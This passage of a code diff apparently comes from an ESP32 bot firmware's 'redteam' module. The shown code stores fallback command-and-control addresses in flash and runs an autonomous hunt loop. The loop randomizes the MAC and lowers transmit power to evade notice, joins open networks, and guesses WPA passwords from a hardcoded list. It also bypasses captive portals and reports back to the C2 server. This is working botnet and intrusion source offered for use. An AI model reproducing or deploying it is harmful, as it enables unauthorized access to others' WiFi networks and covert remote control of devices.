for (int i = 0; i < count; i++) {
|
||||
memset(&out[i], 0, sizeof(rt_c2_addr_t));
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
nvs_get_str(h, key, out[i].addr, &len);
|
||||
}
|
||||
|
||||
nvs_close(h);
|
||||
return (int)count;
|
||||
}
|
||||
|
||||
bool rt_config_c2_add(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
/* Check duplicate */
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[RT_ADDR_MAX_LEN] = {0};
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
nvs_close(h);
|
||||
return true; /* Already exists */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (count >= CONFIG_RT_MAX_C2_FALLBACKS) {
|
||||
nvs_close(h);
|
||||
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
|
||||
return false;
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)count);
|
||||
nvs_set_str(h, key, addr);
|
||||
|
||||
count++;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool rt_config_c2_remove(const char *addr)
|
||||
{
|
||||
if (!addr || !addr[0]) return false;
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
int32_t count = 0;
|
||||
nvs_get_i32(h, "c2_count", &count);
|
||||
|
||||
int found = -1;
|
||||
for (int i = 0; i < count; i++) {
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
char existing[RT_ADDR_MAX_LEN] = {0};
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
|
||||
if (strcmp(existing, addr) == 0) {
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (found < 0) {
|
||||
nvs_close(h);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Shift down */
|
||||
for (int i = found; i < count - 1; i++) {
|
||||
char src_key[16], dst_key[16], buf[RT_ADDR_MAX_LEN];
|
||||
size_t len = RT_ADDR_MAX_LEN;
|
||||
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
|
||||
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
nvs_get_str(h, src_key, buf, &len);
|
||||
nvs_set_str(h, dst_key, buf);
|
||||
}
|
||||
|
||||
char key[16];
|
||||
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
|
||||
nvs_erase_key(h, key);
|
||||
|
||||
count--;
|
||||
nvs_set_i32(h, "c2_count", count);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage
|
||||
* ============================================================ */
|
||||
|
||||
void rt_config_save_orig_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
|
||||
ESP_LOGW(TAG, "Failed to read STA MAC");
|
||||
return;
|
||||
}
|
||||
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
|
||||
return;
|
||||
|
||||
nvs_set_blob(h, "orig_mac", mac, 6);
|
||||
nvs_commit(h);
|
||||
nvs_close(h);
|
||||
|
||||
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
bool rt_config_get_orig_mac(uint8_t mac[6])
|
||||
{
|
||||
nvs_handle_t h;
|
||||
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
|
||||
return false;
|
||||
|
||||
size_t len = 6;
|
||||
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
|
||||
nvs_close(h);
|
||||
return (err == ESP_OK && len == 6);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
83
espilon_bot/components/mod_redteam/rt_config.h
Normal file
83
espilon_bot/components/mod_redteam/rt_config.h
Normal file
@ -0,0 +1,83 @@
|
||||
/*
|
||||
* rt_config.h
|
||||
* NVS-backed known networks + C2 fallback addresses.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_RT_MAX_KNOWN_NETWORKS
|
||||
#define CONFIG_RT_MAX_KNOWN_NETWORKS 16
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_RT_MAX_C2_FALLBACKS
|
||||
#define CONFIG_RT_MAX_C2_FALLBACKS 4
|
||||
#endif
|
||||
|
||||
#define RT_SSID_MAX_LEN 33 /* 32 + NUL */
|
||||
#define RT_PASS_MAX_LEN 65 /* 64 + NUL */
|
||||
#define RT_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
|
||||
|
||||
/* ============================================================
|
||||
* Known WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[RT_SSID_MAX_LEN];
|
||||
char pass[RT_PASS_MAX_LEN];
|
||||
} rt_network_t;
|
||||
|
||||
/* Init NVS namespace, load config */
|
||||
void rt_config_init(void);
|
||||
|
||||
/* Add/update a known network. Empty pass = open network. */
|
||||
bool rt_config_net_add(const char *ssid, const char *pass);
|
||||
|
||||
/* Remove a known network by SSID. Returns false if not found. */
|
||||
bool rt_config_net_remove(const char *ssid);
|
||||
|
||||
/* Get known networks list. Returns count. */
|
||||
int rt_config_net_list(rt_network_t *out, int max_count);
|
||||
|
||||
/* Get count of known networks. */
|
||||
int rt_config_net_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* C2 fallback addresses
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char addr[RT_ADDR_MAX_LEN]; /* "ip:port" */
|
||||
} rt_c2_addr_t;
|
||||
|
||||
/* Add a C2 fallback address. Returns false if full. */
|
||||
bool rt_config_c2_add(const char *addr);
|
||||
|
||||
/* Remove a C2 fallback address. Returns false if not found. */
|
||||
bool rt_config_c2_remove(const char *addr);
|
||||
|
||||
/* Get C2 fallback addresses. Returns count. */
|
||||
int rt_config_c2_list(rt_c2_addr_t *out, int max_count);
|
||||
|
||||
/* Get count of C2 fallback addresses. */
|
||||
int rt_config_c2_count(void);
|
||||
|
||||
/* ============================================================
|
||||
* Original MAC storage (for restoration)
|
||||
* ============================================================ */
|
||||
|
||||
/* Save the current STA MAC as the original. Called once at boot. */
|
||||
void rt_config_save_orig_mac(void);
|
||||
|
||||
/* Get the saved original MAC. Returns false if not saved. */
|
||||
bool rt_config_get_orig_mac(uint8_t mac[6]);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
726
espilon_bot/components/mod_redteam/rt_hunt.c
Normal file
726
espilon_bot/components/mod_redteam/rt_hunt.c
Normal file
@ -0,0 +1,726 @@
|
||||
/*
|
||||
* rt_hunt.c
|
||||
* Red Team hunt state machine — autonomous network hunting.
|
||||
* FreeRTOS task (8KB stack, Core 1).
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_hunt.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/event_groups.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "rt_config.h"
|
||||
#include "rt_stealth.h"
|
||||
#include "rt_captive.h"
|
||||
#include "rt_mesh.h"
|
||||
|
||||
static const char *TAG = "RT_HUNT";
|
||||
|
||||
#define RT_HUNT_STACK 8192
|
||||
#define RT_HUNT_PRIO 6
|
||||
#define RT_WIFI_TIMEOUT_MS 8000
|
||||
#define RT_TCP_TIMEOUT_S 5
|
||||
#define RT_RESCAN_DELAY_S 60
|
||||
#define RT_MAX_WPA_TRIES 5
|
||||
#define RT_WPA_MIN_RSSI -65
|
||||
|
||||
/* Event bits for WiFi events */
|
||||
#define RT_EVT_GOT_IP BIT0
|
||||
#define RT_EVT_DISCONNECT BIT1
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
|
||||
static volatile rt_state_t s_state = RT_IDLE;
|
||||
static char s_connected_ssid[33] = {0};
|
||||
static char s_connected_method[16] = {0};
|
||||
static volatile bool s_active = false;
|
||||
static TaskHandle_t s_task_handle = NULL;
|
||||
static EventGroupHandle_t s_evt_group = NULL;
|
||||
|
||||
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
||||
static SemaphoreHandle_t s_state_mutex = NULL;
|
||||
|
||||
static inline void state_lock(void) {
|
||||
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
||||
}
|
||||
static inline void state_unlock(void) {
|
||||
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
||||
}
|
||||
|
||||
/* Saved original WiFi config for restore */
|
||||
static wifi_config_t s_orig_wifi_config;
|
||||
static bool s_orig_config_saved = false;
|
||||
|
||||
/* State name lookup */
|
||||
static const char *state_names[] = {
|
||||
[RT_IDLE] = "idle",
|
||||
[RT_STEALTH_PREP] = "stealth_prep",
|
||||
[RT_PASSIVE_SCAN] = "passive_scan",
|
||||
[RT_MESH_PROBE] = "mesh_probe",
|
||||
[RT_MESH_RELAY] = "mesh_relay",
|
||||
[RT_TRYING_KNOWN] = "trying_known",
|
||||
[RT_TRYING_OPEN] = "trying_open",
|
||||
[RT_TRYING_WPA] = "trying_wpa",
|
||||
[RT_PORTAL_CHECK] = "portal_check",
|
||||
[RT_PORTAL_BYPASS] = "portal_bypass",
|
||||
[RT_C2_VERIFY] = "c2_verify",
|
||||
[RT_CONNECTED] = "connected",
|
||||
[RT_GPRS] = "gprs",
|
||||
};
|
||||
|
||||
/* Common WPA passwords (flash, not RAM) */
|
||||
static const char * const common_passwords[] = {
|
||||
"12345678", "password", "00000000", "11111111",
|
||||
"123456789", "1234567890", "admin1234", "wifi1234",
|
||||
"internet", "guest", "welcome", "freewifi",
|
||||
"password1", "qwerty123", "abcd1234", "12341234",
|
||||
"home1234", "default", "changeme",
|
||||
};
|
||||
#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0]))
|
||||
|
||||
/* ============================================================
|
||||
* WiFi event handler for hunt (registered dynamically)
|
||||
* ============================================================ */
|
||||
|
||||
static void rt_wifi_event_handler(void *arg, esp_event_base_t base,
|
||||
int32_t id, void *data)
|
||||
{
|
||||
if (!s_evt_group) return;
|
||||
|
||||
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
||||
xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP);
|
||||
}
|
||||
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
||||
xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
static void set_state(rt_state_t new_state)
|
||||
{
|
||||
state_lock();
|
||||
s_state = new_state;
|
||||
state_unlock();
|
||||
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
||||
}
|
||||
|
||||
/* Try to connect to a WiFi network. Returns true if got IP. */
|
||||
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
||||
{
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
||||
if (pass && pass[0]) {
|
||||
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
||||
}
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
||||
|
||||
xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT);
|
||||
esp_wifi_connect();
|
||||
|
||||
EventBits_t bits = xEventGroupWaitBits(
|
||||
s_evt_group,
|
||||
RT_EVT_GOT_IP | RT_EVT_DISCONNECT,
|
||||
pdTRUE, /* clear on exit */
|
||||
pdFALSE, /* any bit */
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (bits & RT_EVT_GOT_IP) {
|
||||
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try TCP connect to C2. Returns true if reachable.
|
||||
* Does NOT keep the socket — just verifies connectivity. */
|
||||
static bool tcp_try_c2(const char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr.s_addr = inet_addr(ip);
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
|
||||
/* Set connect timeout */
|
||||
struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
lwip_close(s);
|
||||
|
||||
if (ret == 0) {
|
||||
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
||||
static bool verify_c2_reachable(void)
|
||||
{
|
||||
set_state(RT_C2_VERIFY);
|
||||
|
||||
/* Try primary C2 */
|
||||
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Try NVS fallback addresses */
|
||||
rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS];
|
||||
int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
/* Parse "ip:port" */
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
if (tcp_try_c2(ip_buf, port)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Mark successful connection */
|
||||
static void mark_connected(const char *ssid, const char *method)
|
||||
{
|
||||
state_lock();
|
||||
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
||||
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
||||
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
||||
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
||||
state_unlock();
|
||||
set_state(RT_CONNECTED);
|
||||
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid);
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WiFi scan (active — passive scan is Phase 3)
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
char ssid[33];
|
||||
uint8_t bssid[6];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
wifi_auth_mode_t authmode;
|
||||
} rt_candidate_t;
|
||||
|
||||
#define RT_MAX_CANDIDATES 32
|
||||
|
||||
static rt_candidate_t s_candidates[RT_MAX_CANDIDATES];
|
||||
static int s_candidate_count = 0;
|
||||
|
||||
static void do_wifi_scan(void)
|
||||
{
|
||||
s_candidate_count = 0;
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(200));
|
||||
|
||||
wifi_scan_config_t scan_cfg = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time = {
|
||||
.active = { .min = 120, .max = 300 },
|
||||
},
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
||||
return;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
if (ap_count == 0) {
|
||||
ESP_LOGW(TAG, "Scan: 0 APs found");
|
||||
return;
|
||||
}
|
||||
|
||||
if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES;
|
||||
|
||||
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
||||
if (!records) {
|
||||
esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */
|
||||
return;
|
||||
}
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, records);
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
rt_candidate_t *c = &s_candidates[s_candidate_count];
|
||||
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
||||
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
||||
memcpy(c->bssid, records[i].bssid, 6);
|
||||
c->rssi = records[i].rssi;
|
||||
c->channel = records[i].primary;
|
||||
c->authmode = records[i].authmode;
|
||||
s_candidate_count++;
|
||||
}
|
||||
|
||||
free(records);
|
||||
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
||||
|
||||
/* Report to C2 */
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count);
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 1: Try known networks (NVS)
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_known_networks(void)
|
||||
{
|
||||
set_state(RT_TRYING_KNOWN);
|
||||
|
||||
/* Try original WiFi config first (the one we were connected to) */
|
||||
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
||||
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
||||
(char *)s_orig_wifi_config.sta.ssid);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
||||
(char *)s_orig_wifi_config.sta.password,
|
||||
RT_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
||||
}
|
||||
}
|
||||
|
||||
/* Then try NVS known networks */
|
||||
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
|
||||
int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (net_count == 0) {
|
||||
ESP_LOGI(TAG, "No additional known networks in NVS");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try each known network that was found in scan */
|
||||
for (int n = 0; n < net_count; n++) {
|
||||
/* Check if this SSID was in the scan results */
|
||||
bool found_in_scan = false;
|
||||
for (int c = 0; c < s_candidate_count; c++) {
|
||||
if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) {
|
||||
found_in_scan = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!found_in_scan) {
|
||||
/* Still try — might be hidden or missed by scan */
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(nets[n].ssid, "known");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 2: Try open WiFi networks
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_open_networks(void)
|
||||
{
|
||||
set_state(RT_TRYING_OPEN);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue; /* hidden */
|
||||
|
||||
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) {
|
||||
/* Check for captive portal */
|
||||
set_state(RT_PORTAL_CHECK);
|
||||
rt_portal_status_t portal = rt_captive_detect();
|
||||
|
||||
if (portal == RT_PORTAL_NONE) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
} else if (portal == RT_PORTAL_DETECTED) {
|
||||
set_state(RT_PORTAL_BYPASS);
|
||||
if (rt_captive_bypass()) {
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open+portal");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
||||
s_candidates[i].ssid);
|
||||
} else {
|
||||
/* RT_PORTAL_UNKNOWN — try C2 directly anyway */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "open");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 3: Try WPA with common passwords
|
||||
* ============================================================ */
|
||||
|
||||
static bool try_wpa_common(void)
|
||||
{
|
||||
set_state(RT_TRYING_WPA);
|
||||
|
||||
for (int i = 0; i < s_candidate_count; i++) {
|
||||
/* Only WPA/WPA2, strong signal */
|
||||
if (s_candidates[i].authmode == WIFI_AUTH_OPEN ||
|
||||
s_candidates[i].authmode == WIFI_AUTH_WEP)
|
||||
continue;
|
||||
if (s_candidates[i].rssi < RT_WPA_MIN_RSSI)
|
||||
continue;
|
||||
if (s_candidates[i].ssid[0] == '\0')
|
||||
continue;
|
||||
|
||||
ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)",
|
||||
s_candidates[i].ssid, s_candidates[i].rssi);
|
||||
|
||||
int tries = 0;
|
||||
for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) {
|
||||
tries++;
|
||||
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
rt_stealth_randomize_mac();
|
||||
#endif
|
||||
|
||||
if (wifi_try_connect(s_candidates[i].ssid,
|
||||
common_passwords[p],
|
||||
RT_WIFI_TIMEOUT_MS)) {
|
||||
/* Connected! Verify C2 */
|
||||
if (verify_c2_reachable()) {
|
||||
mark_connected(s_candidates[i].ssid, "wpa");
|
||||
return true;
|
||||
}
|
||||
/* Connected to WiFi but C2 unreachable — still good find,
|
||||
but continue looking for one with C2 access */
|
||||
ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2",
|
||||
s_candidates[i].ssid, common_passwords[p]);
|
||||
break; /* Don't try more passwords on this SSID */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Hunt task — main state machine
|
||||
* ============================================================ */
|
||||
|
||||
extern atomic_bool fb_active; /* defined in WiFi.c */
|
||||
extern void wifi_pause_reconnect(void);
|
||||
extern void wifi_resume_reconnect(void);
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
|
||||
static void hunt_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "Hunt task started");
|
||||
|
||||
/* Save original WiFi config */
|
||||
if (!s_orig_config_saved) {
|
||||
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
s_orig_config_saved = true;
|
||||
}
|
||||
|
||||
/* Let the command response (msg_info "Hunt started") flush over TCP
|
||||
* before we disconnect WiFi. Without this delay the response is lost. */
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
|
||||
/* Take control of WiFi from normal reconnect logic */
|
||||
fb_active = true;
|
||||
wifi_pause_reconnect();
|
||||
|
||||
/* Register our event handler */
|
||||
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&rt_wifi_event_handler, NULL);
|
||||
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&rt_wifi_event_handler, NULL);
|
||||
|
||||
while (s_active) {
|
||||
|
||||
/* ---- STEALTH PREP ---- */
|
||||
#ifdef CONFIG_RT_STEALTH
|
||||
set_state(RT_STEALTH_PREP);
|
||||
rt_stealth_randomize_mac();
|
||||
rt_stealth_low_tx_power();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
#endif
|
||||
|
||||
/* ---- SCAN ---- */
|
||||
set_state(RT_PASSIVE_SCAN);
|
||||
do_wifi_scan();
|
||||
|
||||
/* ---- MESH PROBE ---- */
|
||||
#ifdef CONFIG_RT_MESH
|
||||
set_state(RT_MESH_PROBE);
|
||||
rt_mesh_probe();
|
||||
vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */
|
||||
|
||||
rt_mesh_peer_t peer;
|
||||
if (rt_mesh_get_relay(&peer) && peer.available) {
|
||||
set_state(RT_MESH_RELAY);
|
||||
msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL);
|
||||
mark_connected("ESP-NOW", "mesh");
|
||||
|
||||
/* Stay in mesh relay mode until stopped or wifi found */
|
||||
while (s_active && rt_mesh_is_running()) {
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
}
|
||||
if (!s_active) break;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ---- STRATEGY 1: Known networks ---- */
|
||||
if (s_active && try_known_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 2: Open networks ---- */
|
||||
if (s_active && try_open_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 3: WPA common passwords ---- */
|
||||
if (s_active && try_wpa_common()) break;
|
||||
|
||||
/* ---- STRATEGY 4: GPRS ---- */
|
||||
#ifdef CONFIG_RT_GPRS_FALLBACK
|
||||
set_state(RT_GPRS);
|
||||
ESP_LOGW(TAG, "GPRS fallback — not yet implemented");
|
||||
#endif
|
||||
|
||||
/* ---- All strategies failed — wait and rescan ---- */
|
||||
if (!s_active) break;
|
||||
|
||||
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
||||
RT_RESCAN_DELAY_S);
|
||||
set_state(RT_IDLE);
|
||||
|
||||
for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Cleanup ---- */
|
||||
|
||||
/* Unregister our handler */
|
||||
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&rt_wifi_event_handler);
|
||||
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
